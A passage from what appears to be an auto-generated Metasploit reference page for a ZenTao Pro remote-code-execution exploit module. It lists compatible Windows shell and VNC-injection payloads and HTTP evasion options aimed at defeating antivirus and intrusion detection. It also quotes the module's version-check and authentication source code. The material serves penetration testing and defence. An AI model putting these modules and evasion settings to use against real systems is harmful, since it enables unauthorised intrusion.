141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/zentao_pro_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/zentao_pro_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
- Connection failed
- Unable to retrieve HTTP cookie header
- Connection failed
- Unable to change the application language to English. Target may not be a ZenTao application
- Connection failed
- Target is not a ZenTao application.
- Unable to obtain the tokens required for authentication
- Unable to obtain ZenTao version.
- Target is ZenTao version <VERSION>.
- Target is ZenTao version <VERSION>.
- Failed to retrieve token
- Unable to reach login page
- Connection failed
- Failed to authenticate. Please check if you have set the correct username and password.
- Failed to authenticate.
- Failed to authenticate.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
78: vprint_status('Running check')
79:
80: # visit login the page to get the necessary cookies
81: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'user-login.html')
82: unless res
83: return CheckCode::Unknown('Connection failed')
84: end
85:
86: cookie = res.get_cookies
87: if cookie.blank?
88: return CheckCode::Unknown('Unable to retrieve HTTP cookie header')
Unable to retrieve HTTP cookie header
Here is a relevant code snippet related to the "Unable to retrieve HTTP cookie header" error message:
83: return CheckCode::Unknown('Connection failed')
84: end
85:
86: cookie = res.get_cookies
87: if cookie.blank?
88: return CheckCode::Unknown('Unable to retrieve HTTP cookie header')
89: end
90:
91: # check if the language is set to English, otherwise change it to English
92: unless cookie.scan(/lang=(.*?);/).flatten.first == 'en-US'
93: cookie.gsub!(/lang=(.*?);/, 'lang=en;')
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
96: 'uri' => normalize_uri(target_uri.path, 'score-ajax-selectLang.html'),
97: 'cookie' => cookie
98: })
99:
100: unless res
101: return CheckCode::Unknown('Connection failed')
102: end
103:
104: @cookie = res.get_cookies
105: if @cookie.blank?
106: return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')
Unable to change the application language to English. Target may not be a ZenTao application
Here is a relevant code snippet related to the "Unable to change the application language to English. Target may not be a ZenTao application" error message:
101: return CheckCode::Unknown('Connection failed')
102: end
103:
104: @cookie = res.get_cookies
105: if @cookie.blank?
106: return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')
107: end
108: end
109:
110: # visit login page to check ZenTao version
111: res = send_request_cgi({
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
113: 'uri' => normalize_uri(target_uri.path, 'user-login.html'),
114: 'cookie' => @cookie
115: })
116:
117: unless res
118: return CheckCode::Unknown('Connection failed')
119: end
120:
121: unless res.code == 200 && res.body.include?('Login - ZenTao')
122: return CheckCode::Safe('Target is not a ZenTao application.')
123: end
Target is not a ZenTao application.
Here is a relevant code snippet related to the "Target is not a ZenTao application." error message:
117: unless res
118: return CheckCode::Unknown('Connection failed')
119: end
120:
121: unless res.code == 200 && res.body.include?('Login - ZenTao')
122: return CheckCode::Safe('Target is not a ZenTao application.')
123: end
124:
125: # obtain cookie and random value necessary to autenticate later
126: @cookie = res.get_cookies
127: retrieve_rand_val(res)
Unable to obtain the tokens required for authentication
Here is a relevant code snippet related to the "Unable to obtain the tokens required for authentication" error message:
124:
125: # obtain cookie and random value necessary to autenticate later
126: @cookie = res.get_cookies
127: retrieve_rand_val(res)
128: if @cookie.blank? || @random_value.blank?
129: return CheckCode::Unknown('Unable to obtain the tokens required for authentication')
130: end
131:
132: # obtain version
133: version = res.body.scan(/v=pro(.*?)'/).flatten.first
134: if version.blank?
Unable to obtain ZenTao version.
Here is a relevant code snippet related to the "Unable to obtain ZenTao version." error message:
130: end
131:
132: # obtain version
133: version = res.body.scan(/v=pro(.*?)'/).flatten.first
134: if version.blank?
135: return CheckCode::Detected('Unable to obtain ZenTao version.')
136: end
137:
138: @version = Rex::Version.new(version)
139:
140: unless @version <= Rex::Version.new('8.8.2')
Target is ZenTao version <VERSION>.
Here is a relevant code snippet related to the "Target is ZenTao version <VERSION>." error message:
136: end
137:
138: @version = Rex::Version.new(version)
139:
140: unless @version <= Rex::Version.new('8.8.2')
141: return CheckCode::Detected("Target is ZenTao version #{@version}.")
142: end
143:
144: return CheckCode::Appears("Target is ZenTao version #{@version}.")
145: end
146:
Target is ZenTao version <VERSION>.
Here is a relevant code snippet related to the "Target is ZenTao version <VERSION>." error message:
139:
140: unless @version <= Rex::Version.new('8.8.2')
141: return CheckCode::Detected("Target is ZenTao version #{@version}.")
142: end
143:
144: return CheckCode::Appears("Target is ZenTao version #{@version}.")
145: end
146:
147: def retrieve_rand_val(res)
148: html = res.get_html_document
149: @random_value = html.at('input[@name="verifyRand"]')['value']
Failed to retrieve token
Here is a relevant code snippet related to the "Failed to retrieve token" error message:
146:
147: def retrieve_rand_val(res)
148: html = res.get_html_document
149: @random_value = html.at('input[@name="verifyRand"]')['value']
150:
151: fail_with(Failure::NotFound, 'Failed to retrieve token') unless @random_value
152: end
153:
154: def login
155: login_uri = normalize_uri(target_uri.path, 'user-login.html')
156: unless @random_value
Unable to reach login page
Here is a relevant code snippet related to the "Unable to reach login page" error message:
153:
154: def login
155: login_uri = normalize_uri(target_uri.path, 'user-login.html')
156: unless @random_value
157: res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
158: fail_with(Failure::UnexpectedReply, 'Unable to reach login page') unless res
159: @cookie = res.get_cookies
160: retrieve_rand_val(res)
161: end
162:
163: # generate md5 hashes required for authentication
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
182: 'KeepLogin' => '0'
183: }
184: })
185:
186: unless res
187: fail_with(Failure::Disconnected, 'Connection failed')
188: end
189:
190: unless res.code == 200 && res.body.include?('success')
191: fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')
192: end
Failed to authenticate. Please check if you have set the correct username and password.
Here is a relevant code snippet related to the "Failed to authenticate. Please check if you have set the correct username and password." error message:
186: unless res
187: fail_with(Failure::Disconnected, 'Connection failed')
188: end
189:
190: unless res.code == 200 && res.body.include?('success')
191: fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')
192: end
193:
194: # visit /pro/, which is required to get to the dashboard at /pro/my/
195: res = send_request_cgi({
196: 'method' => 'GET',
Failed to authenticate.
Here is a relevant code snippet related to the "Failed to authenticate." error message:
201: 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}"
202: }
203: })
204:
205: unless res && res.code == 302
206: fail_with(Failure::NoAccess, 'Failed to authenticate.')
207: end
208:
209: # finally visit /pro/my/ and check if we have been authenticated
210: res = send_request_cgi({
211: 'method' => 'GET',
Failed to authenticate.
Here is a relevant code snippet related to the "Failed to authenticate." error message:
211: 'method' => 'GET',
212: 'uri' => normalize_uri(target_uri.path, 'my'),
213: 'cookie' => @cookie
214: })
215: unless res && res.code == 200 && res.body.include?('Dashboard - ZenTao')
216: fail_with(Failure::NoAccess, 'Failed to authenticate.')
217: end
218: print_good("Successfully authenticated to ZenTao #{@version}.")
219: end
220:
221: def execute_command(cmd, _opts = {})
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Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions
References
See Also
Check also the following modules related to this module:
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/oracle_event_processing_upload
- exploit/windows/http/psoproxy91_overflow
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/http/cayin_xpost_sql_rce
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/http/dnn_cookie_deserialization_rce
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/geutebrueck_gcore_x64_rce_bo
- exploit/windows/http/git_lfs_rce
- exploit/windows/http/gitstack_rce
- exploit/windows/http/manageengine_adshacluster_rce
- exploit/windows/http/manage_engine_opmanager_rce
- exploit/windows/http/mcafee_epolicy_source
- exploit/windows/http/netgear_nms_rce
- exploit/windows/http/nscp_authenticated_rce
- exploit/windows/http/plex_unpickle_dict_rce
- exploit/windows/http/prtg_authenticated_rce
- exploit/windows/http/sepm_auth_bypass_rce
Authors
- Daniel Monzón
- Melvin Boers
- Erik Wynter
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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